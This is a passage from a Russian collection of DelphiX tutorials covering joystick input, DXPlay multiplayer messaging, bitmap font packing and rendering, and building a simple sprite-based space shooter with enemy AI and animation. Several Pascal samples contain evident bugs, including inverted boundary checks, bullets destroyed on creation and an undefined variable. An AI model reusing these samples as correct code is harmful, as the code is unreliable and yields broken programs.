for i := 0 to DXInput1.Joystick.ButtonCount do
begin
   if DXInput1.Joystick.Buttons[i] = True then
   begin
      //Кнопка нажата. Действие.
   end;
end;
Примечание: Руль можно считать частным случаем джойстика. При этом штурвал - горизонтальная ось (X), педаль газа и педаль тормоза - вертикальная ось (Y).

DXPlay.

Оформил: XVeL Автор: SDil WEB-сайт: http://daddy.mirgames.ru

Многие игры в нынешнее время поддерживают мультиплеер, почему? Потому что сейчас люди уже перестали довольствоватся Ai’ем, который играет в частности ‘линейно’, его нельзя обмануть, пошутить над его действиями или разозлить... =) С ним играть можно только на уровне обучения игры, а далее – сеть, живые игроки… ;). Если это маленькое вступление заставило вас захотеть добавить в свою игру мультиплеер то эта статья для вас. Итак, сразу к делу. Сделаем самую легкую программу, с одной кнопкой. =) Кидаем ее на форму, не забыв кинуть DXPlay. В этой программе давайте сделаем что бы форма подключения DXPlay выводилась при запуске. Идем в настройки DXPlay и устанавливаем любой Guid путем нажатия кнопки New, этот параметр (imho) “устанавливает” уникальности вашему мультиплееру. Далее так: TForm1<Events<OnCreate, и в процедуру кидаем:
try
   DXPlay1.Open; //Пытаемся открыть форму подключения
except
   on E: Exception do
   begin
      Application.ShowMainForm := False;
      Application.HandleException(E);
      Application.Terminate; //Если не подключаемся или ошибка выходим их программы
   end;
end;
Теперь при запуске программы у вас будет выводится форма DXPlay. После:
uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls, DXPlay;
Пишем:
const
   DXMESE = 1;
type
   TDXMessage = record
      MessageType: DWORD; //Тип сообщения
      Mes: Integer; //Тип пересылаемых данны, может быть несколько, к примеру - Mes2: String;
   end;
Далее, кликаем два раза на кнопку, создавая тем самым процедуру нажатия кноки, и пишем туда: Перед
begin:
Var
   Msg: ^TDXMessage; //Ссылаемя на TDXMessage
   MsgSize: Integer; //Размер сообщения

После:
MsgSize := SizeOf(TDXMessage); // Нужно узнать размер сообщения.
GetMem(Msg, MsgSize);
try
   Msg.MessageType := DXMESE; //Указываем тип сообщения
   Msg.Mes:=random(100); {Само сообщения, может быть что угодно, вплоть до нахождения курсора мышки}
   DXPlay1.SendMessage(DPID_ALLPLAYERS ,msg,msgsize); //Отправлем мессагу всем игрокам
   DXPlay1.SendMessage(DXPlay1.LocalPlayer.ID ,msg,msgsize); //Отпраляем себе
finally
   FreeMem(Msg); //Освобождаем память сообщения Msg
end;
Для приема делаем следующее - DXPlay1<Events<OnMessage и пишем :
Button1.Left:=TDXMessage(Data^).Mes; {Устанавливаем положения кнопки по горизонтали в соответсвии с полученным числом}
Button1.Caption:=inttostr(TDXMessage(Data^).Mes); //Пишем это число

Итак, это уже конец, осталось чуть-чуть: В процедуре уничтожения формы (FormDestroy) (Tform1<Events<OnDestroy) пишем:
DXPlay1.Close; //Завершение подключения DXPlay.

И последний штрих – В Unit добавляем DirectX. Все, запускаем и радуемся нашей первой программе с мультиплеером! =) Пример к статье P.S. Для тестирования достаточно запустить две копии программы, 1-ая хост, 2-ая подключается. ;)

Опять шрифты. Нормальная процедура отображения графических шрифтов.

Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru

Сразу рассмотрим плюсы и минусы помещения каждой буквы в отдельное изображение! Плюсы : 1.Более быстрая отрисовка (так как ищется только номер картинки). 2.Буквы рисуются аккуратно, на одинаковом расстоянии друг от друга. Минусы: 1.Много файлов (256 штук) - этот минус отпадает сам, так как я буду использовать псевдо архив. 2.Довольно медленная загрузка (надо прочитать архив и повторить процедуру загрузки картинки в память 256 раз) Сначала нам нужны все символы от 1 до 256 в BMP формате (желательно 256 цветов) из них и будет состоять шрифт. Сейчас мы напишем программу сохраняющая ваши символы в псевдо архив fnt. Создаем проект и после слова TYPE пишем:
Thead=record //Заголовок fnt файла
   count:integer; //Количество изображений (вдруг вам русский шрифт не нужен а нужен только английский - тогда картинок будет 128
   name:string[5]; //Имя шрифта (нужно для распаковки картинок)
   tcl:tcolor; //Цвет прозрачности
end;
Добавляем на форму:
Имя компонента: Название компонента: Описание
DXDIB TDXDIB Тут изображение сжимается
dlb TDirectoryListBox Тут выбор каталога с изображениями
flb TFileListBox Тут список BMP файлов
dcb TDriveComboBox Тут выбор диска с изображениями
Button1 TButton Начало сжатия
Button2 TButton Выход из программы
Edit1 TEdit Тут в формате String хранится цвет прозрачности
Edit2 TEdit От сюда берется название изображений
Теперь на нажатие первой кнопки пишем:
procedure TForm1.Button1Click(Sender: TObject);
var
   fs:Tfilestream;
   m:Tmemorystream;
   size:int64;
   h:thead;
   i:integer;
begin
   fs:=tfilestream.Create('what.fnt',fmCreate); //Создаем архив
   h.count:=flb.Count; //Заносим данные в заголовок файла(3 строки)
   h.name:=edit2.Text;
   h.tcl:=stringtocolor(edit1.Text);
   fs.Write(h,sizeof(h)); //Записываем заголовок
   for i:=0 to h.count-1 do //Теперь от 0 до количества изображений-1 делаем:
   begin       dxdib.DIB.LoadFromFile(flb.Items[i]); //Загружаем картинку в TDIB
      dxdib.DIB.Compress; //Сжимаем
      m:=tmemorystream.Create; //Создаем поток в памяти
      dxdib.DIB.SaveToStream(m); //Сохраняем изображение в поток
      size:=m.Size; //Получаем размер изображения в байтах
      fs.Write(size,sizeof(size)); //Записываем размер изображения в архив
      m.Position:=0; //Просто это нужно
      fs.CopyFrom(m,size); //Записываем поток изображения в файл
      m.Free; //Очищаем память от изображения
   end;
   fs.Free; //Сохраняем архив
end;
В игре необходимо загрузить шрифты из папки fonts процедурой:
procedure loadfont(name:string); //Не забудте указать название шрифта (имя файла)
var
   item:Tpicturecollectionitem; //Изображение в памяти
   fs:Tfilestream; //Файловый поток для чтения архива
   m:Tmemorystream; //Поток в памяти (туда будет копироваться изображение)
   size:int64; //Размер изображения в архиве
   h:thead; //Заголовок архива
   i:integer; //Просто нужно для счета
begin
   fs:=tfilestream.Create('fonts\'+changefileext(name,'.fnt'),fmOpenRead); //Открываем нужный файл
   fs.Read(h,sizeof(h)); //Читаем заголовок
   for i:=0 to h.count-1 do //От 0 до количества изображений-1 делаем:
   begin
      fs.Read(size,sizeof(size)); //Читаем размер файла
      m:=tmemorystream.Create; //Создаем поток в памяти
      m.Position:=0; //Нужно
      m.SetSize(size); //Указываем размер участка памяти (чтобы память не засорять)
      m.CopyFrom(fs,size); //Вставляем в память изображение из архива
      m.Position:=0; //Нужно
      myform.DXDIB.DIB.LoadFromStream(m); //Грузим изображение из памяты в TDIB
      item:=Tpicturecollectionitem.Create(myform.il.Items); //Добавляем в коллекцию ещё одно изображение
      item.Name:=h.name+inttostr(i); //Его имя + номер символа
      item.Transparent:=true; //Прозрачен
      item.TransparentColor:=h.tcl; //Цвет прозрачности
      item.PatternWidth:=myform.dxdib.DIB.Width; //Ширина
      item.PatternHeight:=myform.dxdib.DIB.Height; //Высота
      item.SystemMemory:=false; //Нужно
      item.Picture.Graphic:=myform.dxdib.DIB; //Указываем изображения
      item.Restore; //Принимаем изменение
      m.Free; //Очищаем память
   end;
   fs.Free; //Закрываем архив
end;
Далее идет процедура отрисовки текста (Текст, икс, игрик, название шрифта, по центру (1-0))
Procedure dNt(Text:string;x,y:integer;whatfont:String; center:integer); //Процедура отрисовки букв
var
   h:Tpicturecollectionitem;
   z:integer;
   dlina:integer;
   dlina2:integer;
begin
   if center=1 then
   begin
      dlina2:=0;
      for z:=1 to strlen(pchar(text)) do
      begin
         h:=myform.il.Items.Find(whatfont+inttostr(ord(text[z])));
         dlina2:=dlina2+h.PatternWidth+1;
      end;
      dnt(Text,x-dlina2 div 2,y,whatfont,0);
   end
   else
   begin
      dlina:=x;
      for z:=1 to strlen(pchar(text)) do
      begin
         h:=myform.il.Items.Find(whatfont+inttostr(ord(text[z])));
         h.Draw(myform.dxdraw.Surface,dlina,y,0);
         dlina:=dlina+h.PatternWidth+1;
      end;
   end;
end;
Пример fnt файла. Исходник программы по созданию fnt архива. Исходник программы распаковывающей fnt архив (работает с командной строки). Вот в принципе и всё.

Создание шрифтов формата BMP для использования в играх! Также постейший фильтр изображений.

Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru

Итак я уже писал про отрисовку таких шрифтов в игре, но в том примере все было сильно неадаптировано под програмный код и занимало несколько страниц! Для создания своих шрифтов будем писать программу: "ФонтГен" На форме должны присутствовать:
Button1: TButton; //Кнопка генерации
Image1: TImage; //Тут будем рисовать
Edit1: TEdit;//От суда будем брать название шрифта
Edit3: TEdit;//От суда будем брать цвет шрифта

На нажатие кнопки(OnClick) пишем:
var
   x,y,z:integer;
   c:char;
begin
   Image1.Picture.LoadFromFile('shablon.bmp'); //Ну берем 24 разрядный фон из БИТМАПА
   x:=2; //Устанавливаем место отрисовки первой буквы на 2 (первое место будет пробелом)
   for c:='!' to 'я' do //Из таблицы символов от "!" до буквы "я" делаем:
   with image1.Canvas do
   begin
      font.Name:=(edit1.Text); //Узнаем название шрифта
      font.Size:=12; //Его размер ставим на 12
      font.Style:=[fsBold]; //Делаем шрифт ЖИРНЫМ
      font.Color:=stringtocolor(edit3.Text); //Ставим цвет шрифта
      textout(x*20-trunc(textwidth(c)*1.5),10-(textheight(c) div 2),c); //Рисуем данный(по номеру) символ из таблицы символов (см. выше) на этом месте
      x:=x+1; //Следующее место отрисовки
   end; //Отрисовали все символы!!!
   //Далее идет фильтр обводящий каждую букву черным цветом
   for y:=0 to x*20 do //20 - ширина кадра(в одном кадре - одна буква)
   for z:=0 to 20 do
   if image1.Canvas.Pixels[y,z]=stringtocolor(edit3.Text) then //Если цвет пикселя=Цвету шрифта то
   begin
      if image1.Canvas.Pixels[y-1,z]=clWhite then //Если надо то обводим
         image1.Canvas.Pixels[y-1,z]:=clBlack;
      if image1.Canvas.Pixels[y-1,z-1]=clWhite then
         image1.Canvas.Pixels[y-1,z-1]:=clBlack;
      if image1.Canvas.Pixels[y+1,z-1]=clWhite then
         image1.Canvas.Pixels[y+1,z-1]:=clBlack;
      if image1.Canvas.Pixels[y,z+1]=clWhite then
         image1.Canvas.Pixels[y,z+1]:=clBlack;
      if image1.Canvas.Pixels[y,z-1]=clWhite then
         image1.Canvas.Pixels[y,z-1]:=clBlack;
      if image1.Canvas.Pixels[y+1,z+1]=clWhite then
         image1.Canvas.Pixels[y+1,z+1]:=clBlack;
      if image1.Canvas.Pixels[y+1,z]=clWhite then
         image1.Canvas.Pixels[y+1,z]:=clBlack;
      if image1.Canvas.Pixels[y-1,z+1]=clWhite then
         image1.Canvas.Pixels[y-1,z+1]:=clBlack;
   end;
   image1.picture.SaveToFile(edit1.text+'.bmp'); //Сохраняем полученый БИТМАП в "Название Шрифта".bmp
end;
Прога действительно делает шрифты, но минус - если менять размер шрифта, то параметры отрисовки каждой буквы придется менять! Иначе возможны глюки! Теперь идет процедура отрисовки:
procedure Tmainform.DCN(Text:string;x,y:integer;center:integer);
var
   h:Tpicturecollectionitem;
   z:integer;
begin
   h:=imagelist.Items.Find('cnb');
   if center=1 then
   for z:=1 to strlen(pchar(text)) do
   h.Draw(dxdraw.Surface,x+trunc(h.Width*0.65)*(z-1)-trunc(h.Width*0.65)*trunc(strlen(pchar(text))*0.5),
   y,ord(text[z])-32)
   else
   for z:=1 to strlen(pchar(text)) do
   h.Draw(dxdraw.Surface,x+trunc(h.Width*0.65)*(z-1),y,ord(text[z])-32);
end;
Как использовать эту процедуру: DCN({Координаты по икс},{Координаты по игрик},'ТЕКСТ', {Центрировать или нет (1 или 0)} Вот в принципе и всё.

Изучаем DelphiX - Часть 0 - Теория.

Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru

"Теория, теория ну а практика, а практика потом" Так подумал автор, начиная писать эту статью.

Здравствуйте дорогие мои! Сегодня мы будем учиться работать в DelphiX. В этой части вы узнаете: 1. Обзор DelphiX (Что? К чему?). 2. Принцип написания кода и основные процедуры для классов. Ну что же, приступим: 1. Обзор DelphiX. DelphiX - это набор компонентов, способный облегчить использование DirectX в Delphi приложениях и использовать всю мощь DirectX. Основные компоненты DelphiX: TDXDraw -( Это такой мониторчик) Дает доступ к поверхностям DirectDraw (проще говоря, эта вещь которая отображает всё) Проще говоря, сам DirectDraw. TDXDib - Позволяет хранить DIB (Device Independent Bitmap) TDXImageList - Позволяет хранить серии DIB, Jpg, bmp-файлов, что очень удобно для программ, содержащих спрайты. Позволяет загружать DIB`ы с диска во время выполнения программы. TDXSound - Проигрыватель звуков в формате Wav. TDXWave - "Контейнер" для wav-файла. TDXWaveList - Позволяет хранить серии для wav-файлов. TDXInput - Позволяет использовать DirectInput, т.е. получить доступ к устройствам ввода информации (мышь, клавиатура, джойстик:). TDXPlay - Компонент позволяющий обмениваться информацией на компьютерах. TDXSpriteEngine - Спрайтовый движок. TDXTimer - Более точный, чем TTimer. TDXPaintBox - Альтернатива TImage, только DIB-версия. В DelphiX есть самостоятельные компоненты, а есть вспомогательные, вот, например, DXSpriteEngine не может без DXDraw (где он будет отображать всё действия происходящие на сцене). Вот таблица зависимых и вспомогательных: Статьи по Delphi (008)… 2. Принцип написания кода и основные процедуры для классов.

Весь принцип очень прост и удобен, сейчас объясню: весь код строится по классам, в каждом классе свои процедуры, каждый новый тип юнита это новый класс и в каждом классе свои процедуры. Рассмотрим на живом примере: возьмём камень и бумагу. Бумага мнётся, камень нет. Так и здесь, в одном классе это свойство есть, в другом нет, рассмотрим кусок кода отвечающий за класс:

TPlayerFa = class(TImageSprite)
   protected
    procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
    procedure DoMove(MoveCount: Integer); override;
   public
    constructor Create(AParent: TSprite); override;
    destructor Destroy; override;
   end;
Здесь нам виден класс TplayerFa, его процедуры:
procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
- Это процедура столкновения, что будет происходить при столкновении
procedure DoMove(MoveCount: Integer); override;
- Это процедура движения, в ней указывается, как класс будет двигаться. ( в следующих частях я опишу и расскажу про все функции и их использование на практике)
constructor Create(AParent: TSprite); override;
- Это конструктор Create очень полезная вещь он отвечает за происходящим во время создания объекта.
destructor Destroy; override;
-Альтернатива, только при уничтожении объекта. После написания класса каждая процедура расписывается, и всё, можно писать сам код. (Но это мы будем делать позже.) Автор: Влад Энгельгардт

Изучаем DelphiX - Часть 1 - Первая игра.

Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru

"Как много игр то хороших, Да только сегодня не до них" Автор.

Здравствуйте! Сегодня мы создадим первую, и надеюсь не последнюю игрушку, смысл у нас будет такой: Мы - маленький космический корабль, нам надо уничтожить большой статичный космический корабль (прим. автора: "Этот пример научит мыслить по DelphiX`ски"). Ну что, приступим, запускаем Delphi (Для тех, кто в танке, у кого 6-ая, ищите на этом же сайте статью "DelphiX для Delphi6"). Вы, надеюсь, предварительно установили DelphiX, тогда ищем в панели с компонентами раздел DelphiX: Статьи по Delphi (008)… Кидаем на форму следующие компоненты: Статьи по Delphi (008)… DXDraw - и проставляем в нем следующие опции в Object Inspector: Align = alClient - это нужно для того чтобы DXDraw "обтянул" всю форму. Display = 800x600x16 - почему, спросите вы, не 800x600x24? Да потому что не все видеокарты поддерживают 24 битный режим. Options-doFullScreen = True, если хочешь чтобы твоя игра была на весь экран, и ещё надо в свойствах формы поставить: BorderStyle = bsnone. Статьи по Delphi (008)… TDXSpriteEngine - Сам движок для работы со спрайтами. В нём нужно только выбрать в поле DXDraw сам DXDraw1. Статьи по Delphi (008)… Статьи по Delphi (008)… TDXTimer - Он вообще-то и нужен, чтобы обновлять кадры, но он нам пригодится и для другого. Свойства следующие: Active Only = False - По-русски: "Быть активным всегда". Смысл: Работает даже если вы, работаете с другим приложением. Interval = 0 - Частота повторения цикла, должна быть равна 0. Статьи по Delphi (008)… TDXImageList - В этом листе будут у нас хранится все спрайты. Свойства: DXDraw = DXDraw1 После кликаем на Items: (TPictureCollection), появляется окно Editing DxImagelist1.Items. В нём кликаем по Add New и в Object Inspector в поле "Name" пишем название спрайта, назовем его "pla" - это будет сам игрок, загружаем его с помощью Picture... Игрок у меня будет вот такой: Статьи по Delphi (008)… Только фон чёрный - для прозрачности. Устанавливаю в Object Inspector у данной картинки свойства Transparent = true и TransparentColor = clBlack. Создаём ещё один спрайт под именем Pula проделываем тоже самое с ним, только TransparentColor = clWhite. Выглядит пуля вот так: Статьи по Delphi (008)… И последнее что нам осталось, добавить этого босса, называем его "BOSS", вот он: Статьи по Delphi (008)… TransparentColor = clWhite. На этом с DXImageList мы пока закончили. Статьи по Delphi (008)… TDXInput - Ну, а этот компонент будет отвечать за нажатые клавиши на клавиатуре. В нем никакие изменения делать не будем, только рассмотрим его (на будущее). Кликнем 2 раза по компоненту, и появится TDXInput Editor, выглядит он вот так: Статьи по Delphi (008)… Первая закладка устанавливает свойства джойстика, вторая клавиатуры. Вот закладка со свойствами клавиатуры нам и нужна. Вот так она выглядит: Слева - условное название клавиш, а справа - их значение. Каждому условному названию может быть присвоено 3 клавиши. Всего условных названий 36 штук. Ну что, теперь приступаем к написанию кода. Вначале нужно изменить класс формы на TDXForm вот пример:

До:

//...
type
  TForm1 = class(TForm)
    DXDraw1: TDXDraw;
    DXImageList1: TDXImageList;
    DXInput1: TDXInput;
//...

После:
//...
type
  TForm1 = class(TDXForm)
    DXDraw1: TDXDraw;
    DXImageList1: TDXImageList;
    DXInput1: TDXInput
//...

Дальше расписываем классы после implementation. Вот так: {$R *.DFM} type TPlayerSprite = class(TImageSprite) //Класс игрока protected procedure DoMove(MoveCount: Integer); override; // Движение end; TBoSS = class(TImageSprite) // Класс босса Protected // Столкновение procedure DoCollision(Sprite: TSprite; var Done: Boolean); override; procedure DoMove(MoveCount: Integer); override; public constructor Create(AParent: TSprite); override; //при создании destructor Destroy; override; // при смерти end; TPlayerFa = class(TImageSprite) protected procedure DoCollision(Sprite: TSprite; var Done: Boolean); override; procedure DoMove(MoveCount: Integer); override; public constructor Create(AParent: TSprite); override; destructor Destroy; override; end; Далее расписываем каждую процедуру для каждого класса. Вот образец: Procedure TPlayerFa.DoMove(MoveCount: Integer); Begin inherited DoMove(MoveCount); end; constructor TPlayerFa.Create(AParent: TSprite); begin end; destructor TPlayerFa.Destroy; begin inherited Destroy; // Обязательно end; procedure TPlayerFa.DoCollision(Sprite: TSprite; var Done: Boolean); begin end; Это нужно проделать с каждым классом, который содержит свои процедуры, указанные в классе. Далее выбираем компонент DXTimer который уже на форме и в Object Inspector в закладке Events, находим пункт OnTimer. Два раза кликаем по пункту, создаётся процедура DXTimer1Timer, в ней пишем следующие строчки: if not DXDraw1.CanDraw then exit; // Если нет DirectX выходим DXInput1.Update; DXSpriteEngine1.Move(LagCount); DXSpriteEngine1.Dead; DXDraw1.Surface.Fill(0); DXSpriteEngine1.Draw; DXDraw1.Flip; Далее: Кликая на форму в свободное место и Object Inspector в закладке Events, находим OnCreate. Создаём процедуру и пишем в ней: with TBOSS.Create(Dxspriteengine1.Engine) do begin PixelCheck := True; // для столкновения просчитывает каждую точку Image := form1.dxImageList1.Items.Find('BOSS'); //ищем спрайт в ImageList`е x:=350; // x координаты y:=10; // y координаты Width := Image.Width; //ширина равна ширине спрайта Height := Image.Height; //высота равна высоте спрайта end; with TPlayerSprite.Create(Dxspriteengine1.Engine) do begin PixelCheck := True; Image := form1.dxImageList1.Items.Find('Pla'); x:=350; y:=500; Width := Image.Width; Height := Image.Height; end; Сейчас объясню, зачем это всё. При создании формы мы создаём все статичные объекты сразу. Ну, что? Теперь можно перейти к процедурам и их заполнению :) Начнём с процедур босса. Они самые простые. Пред implementation в var добавить переменную i:boolean; //переменная движения в сторону BOSSA и в свойствах формы OnCreate добавить: I:=true; Только после этого пишем следующее: Procedure TBoSS.DoMove(MoveCount: Integer); begin inherited DoMove(MoveCount); if x<= 700 then I:= true; // когда X<= то туда <<< if x>= 0 then I:= false; // когда X>= то туда >>> if i= true then X := X+10; if i= false then X := X-10; Collision; end; constructor TBOSS.Create(AParent: TSprite); //Здесь всё понятно begin inherited Create(AParent); Image := form1.DXImageList1.Items.Find('BOSS'); Width := Image.Width; Height := Image.Height; end; destructor TBOSS.Destroy; //тут тоже begin inherited Destroy; end; procedure TBoss.DoCollision(Sprite: TSprite; var Done: Boolean); begin // если спрайт сталкивается с Tplayerfa, то умирает if Sprite is Tplayerfa then dead; Collision; // Включаем столкновение end; Ну, вроде, с одним объектом разобрались, переходим к игроку, тут одна процедура Procedure TPlayerSprite.DoMove(MoveCount: Integer); begin inherited DoMove(MoveCount); // при нажатии двигаем объект влево if isLeft in Form1.DXInput1.States then x:=x-5; // при нажатии двигаем объект вправо if isRight in Form1.DXInput1.States then x:=x+5; // при нажатие вверх создаётся наша пулька if isup in Form1.DXInput1.States then begin with TPlayerFa.Create(Engine) do begin PixelCheck := True; Image := form1.dxImageList1.Items.Find('Pula'); //Чтобы пуля создавалась около нашего объекта X := Self.X+Self.Width -40; //Чтобы пуля создавалась около нашего объекта Y := Self.Y+Self.Height -80; Width := Image.Width; Height := Image.Height; end; end; if y <= form1.DXDraw1.SurfaceHeight-image.Height then //не пускаем y := form1.DXDraw1.SurfaceHeight-image.Height; //объект if x <= form1.DXDraw1.SurfaceWidth -image.Width then //за границы x := form1.DXDraw1.SurfaceWidth -image.Width; //формы if y >= 0 then y := 1; if x >= 0 then x:=1; end; И, наконец, последнее, это сама пуля и её процедуры: Procedure TPlayerFa.DoMove(MoveCount: Integer); begin inherited DoMove(MoveCount); y:=y-3; //проще некуда, неправда ли? end; procedure TPlayerFa.DoCollision(Sprite: TSprite; var Done: Boolean); begin if Sprite is TBoss then dead; Collision; end; И на последок, для удобства в Object Inspector в закладке Events находим OnKeyDown, кликаем и пишем: if Key=VK_ESCAPE then application.Terminate; При вставке этого кода по нажатию клавиши ESC выходим из приложения. Вот и всё! Это одно из самых примитивных игр на DelphiX, но ты её сам сделал. Вот вам Д/З для улучшения знаний: 1. Сделайте так, чтобы при уходе патрона из зоны видимости он уничтожался 2. Сделайте, чтобы патроны стреляли очередями, а не кучами как у меня Ну и всё, если вы сможете реализовать данные вещи, считайте что вы усвоили урок. Ну а если вы не справитесь с данными задачами, я объясню их решение в следующей части. Исходный код примера к этому уроку: part1.rar (20,5 кБ) (Проект сделан в Delphi 6) Автор: Влад Энгельгардт

Изучаем DelphiX - Часть 2 - Усложняем нашу игру.

Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru

Хех! загружу:".

Прежде чем начать, объясню решение Д/З: 1. Сделайте так, чтобы при уходе патрона из зоны видимости он уничтожался: Это очень легко сделать достаточно в процедуру DoMove патрона вставить:
if y<= 0 then Dead;
if y>= 600 then Dead;
Нужно это для того, чтобы повысилось качество игры. 2. Сделайте, чтобы патроны стреляли очередями, а не кучами как у меня: Вот эта задача была посложнее первой. Во-первых, как я сделал в первой части этого туториала, делать нельзя из-за причины небольшой "кривости" DelphiX, он может держать только определённое количество спрайтов, а если их больше он или выходит или подвисает. Так что, делаем вот так:

В класс с плеером добавляем две переменные, он теперь выглядит так (я добавил комментарии к тем строчкам которые изменились):

TPlayerSprite = class(TImageSprite)
   Private
    lngpolet:integer;    //расстояние которое пролетела пуля
    oldlngpolet:integer; //расстояние которое пролетела предыдущая пуля
  protected
    procedure DoMove(MoveCount: Integer); override;
  end;
Процедура DoMove класса PlayerSprite изменяется следующим образом:
Procedure TPlayerSprite.DoMove(MoveCount: Integer);
Begin
  inherited DoMove(MoveCount);
  if isLeft in Form1.DXInput1.States then x:=x-5;
  if isRight in Form1.DXInput1.States then X:=x+5;
  if isup in Form1.DXInput1.States then
  begin
    if lngpolet-oldlngpolet<=250 then // Если расстояние между пулями меньше 250,
                                      // то пуля не создаётся
    begin
      Inc(lngpolet);
      with TPlayerFa.Create(Engine) do
      begin
        PixelCheck := True;
        Image := form1.dxImageList1.Items.Find('Pula');
        X := Self.X+Self.Width  -40;
        Y := Self.Y+Self.Height -80;
        Width := Image.Width;
        Height := Image.Height;
      end;
      oldlngpolet := lngpolet; //после создания пули - последняя становится первой
    end;
  end;
  if  y <= form1.DXDraw1.SurfaceHeight-image.Height then
    y := form1.DXDraw1.SurfaceHeight-image.Height;
  if  x <= form1.DXDraw1.SurfaceWidth -image.Width  then
    x := form1.DXDraw1.SurfaceWidth -image.Width;
  if  y >= 0 then
    y := 1;
  if  x >= 0 then
    x:=1;
  lngpolet := lngpolet + MoveCount;  // расстояние увеличиваем, когда пуля движется
end;
Вот и всё, что требовалось сделать. В этой части вы узнаете: 1. Создание анимации. 2. Создание примитивного AI. 3. Создадим простенькие взрывы. Создание анимации. Анимация в DelphiX строится следующим образом: Статьи по Delphi (008)… Это пример покадровой анимации. У каждого кадра должен быть одинаковый размер. В данной ситуации: Ширина: 40 Высота: 38 Давайте теперь, применим ее к нашей игре. Идём в DXImageList, находим наш спрайт Pula и загружаем картинку с анимацией. Далее устанавливаем свойства спрайта следующим образом: Статьи по Delphi (008)…

И в процедуре DoMove класса PlayerSprite изменяем код следующим образом:

Procedure TPlayerSprite.DoMove(MoveCount: Integer);
begin
  inherited DoMove(MoveCount);
  if isLeft in Form1.DXInput1.States then  x:=x-5;
  if isRight in Form1.DXInput1.States then X:=x+5;
  if isup in Form1.DXInput1.States then
  begin
    if lngpolet-oldlngpolet<=250 then
    begin
      Inc(lngpolet);
      with TPlayerFa.Create(Engine) do
      begin
        PixelCheck := True;
        Image := form1.dxImageList1.Items.Find('Pula');
        X := Self.X+Self.Width  -40;
        Y := Self.Y+Self.Height -80;
        Width := Image.Width;
        Height := Image.Height;
        AnimCount := Image.PatternCount; //число кадров
        AnimLooped := True;              //повторять ли анимацию
        AnimSpeed := 10 / 1000;          //скорость анимации
      end;
      oldlngpolet := lngpolet;
    end;
  end;
  if  y <= form1.DXDraw1.SurfaceHeight-image.Height then
    y := form1.DXDraw1.SurfaceHeight-image.Height;
  if  x <= form1.DXDraw1.SurfaceWidth -image.Width  then
    x := form1.DXDraw1.SurfaceWidth -image.Width;
  if  y >= 0 then
    y := 1;
  if  x >= 0 then
    x:=1;
  lngpolet := lngpolet + MoveCount;
end;
Можно проделать тоже самое с другими классами для придания реалистичности игры. Создание примитивного AI.

Для начала маленько улучшим наш класс плеера, добавим в него столкновение, и он теперь выглядит следующим образом:

TPlayerSprite = class(TImageSprite)
   private
    lngpolet:integer;
    oldlngpolet:integer;
  protected
    procedure DoMove(MoveCount: Integer); override;
    //добавляем
    procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
  end;
Далее создаём процедуру DoCollision и вставляем в неё следующее:
procedure TPlayerSprite.DoCollision(Sprite: TSprite; var Done: Boolean);
begin
  if Sprite is TPlayerFa then Dead;
  Collision;
end;
Дальше пред implementation добавляем 1 переменную:
  plx:double;            //X плеера

Далее обновим класс TPlayerFa и он станет таким:
TPlayerFa = class(TImageSprite)
  private
    stril:Integer; // Как вы заметили, добавилась переменная
  protected
    procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
    procedure DoMove(MoveCount: Integer); override;
   public
    constructor Create(AParent: TSprite); override;
    destructor Destroy; override;
  end;
А в TPlayerFa добавляем строчку:
Procedure TPlayerFa.DoMove(MoveCount: Integer);
begin
   y:=y-stril; // когда стреляет игрок, с этой скоростью будет двигаться пуля
   y:=y+stri; // когда стреляет AI, с этой скоростью будет двигаться пуля
   if y>= 0 then Dead;
   if y<= 600 then Dead;
end;
А процедура TBoSS.DoMove становиться такой:
Procedure TBoSS.DoMove(MoveCount: Integer);
  begin
   inherited DoMove(MoveCount);
   if x<= 600 then I:= false;
   if x>= 0 then I:= true;
   if i= true then X := X+5;
   if i= false then X := X-5;
   if plx=x then //если равна х плеера стреляем
   begin
     with TPlayerFa.Create(Engine) do
      begin
      PixelCheck := True;
      Image := form1.dxImageList1.Items.Find('Pula');
      X := Self.X+Self.Width-70;
      Y := Self.Y+Self.Height+10;
      Width := Image.Width;
      Height := Image.Height;
      stril:=5;        //скорость патрона
      end;
   end;
    Collision;
end;
И естественно полнеет и TPlayerSprite:
Procedure TPlayerSprite.DoMove(MoveCount: Integer);
begin
  inherited DoMove(MoveCount);
  plx:=x;            //чтобы наш комп видел нашего плеера
  if isLeft in Form1.DXInput1.States then
  begin
    x:=x-5;
    plx:=x;
  end;
  if isRight in Form1.DXInput1.States then
  begin
    X:=x+5;
    plx:=x;
  end;
  if isup in Form1.DXInput1.States then
  begin
    if lngpolet-oldlngpolet<=250 then
    begin
      Inc(lngpolet);
      with TPlayerFa.Create(Engine) do
      begin
        PixelCheck := True;
        Image := form1.dxImageList1.Items.Find('Pula');
        X := Self.X+Self.Width  -40;
        Y := Self.Y+Self.Height -80 ;
        Width := Image.Width;
        Height := Image.Height;
        stril:=-4;
      end;
      oldlngpolet := lngpolet;
    end;
  end;
  if  y <= form1.DXDraw1.SurfaceHeight-image.Height then
    y := form1.DXDraw1.SurfaceHeight-image.Height;
  if  x <= form1.DXDraw1.SurfaceWidth -image.Width  then
    x := form1.DXDraw1.SurfaceWidth -image.Width;
  if  y >= 0 then
    y := 1;
  if  x >= 0 then
    x:=1;
  lngpolet := lngpolet + MoveCount;
  Collision;
end;
И поменялся конструктор PlayerFa:
constructor TPlayerFa.Create(AParent: TSprite);
begin
  inherited Create(AParent);
  Image := form1.DXImageList1.Items.Find('Pula');
  Width := Image.Width;
  Height := Image.Height;
  AnimCount := Image.PatternCount;    //число кадров
  AnimLooped := True;                 //повторять ли анимацию
  AnimSpeed:= 10 / 1000;
  Collision;
end;
Создадим простенькие взрывы. Для начала загрузим спрайт взрыва в DXImageList вот он: Статьи по Delphi (008)… Назовём его "ex" и установим размер кадра на 32ХЧ8 (PatternHeight - PatternWidth)

Дальше, в класс TPlayerSprite в private добавляем procedure Hit; и создаём обработчик:

procedure TplayerSprite.Hit;
begin
  Collisioned := False;
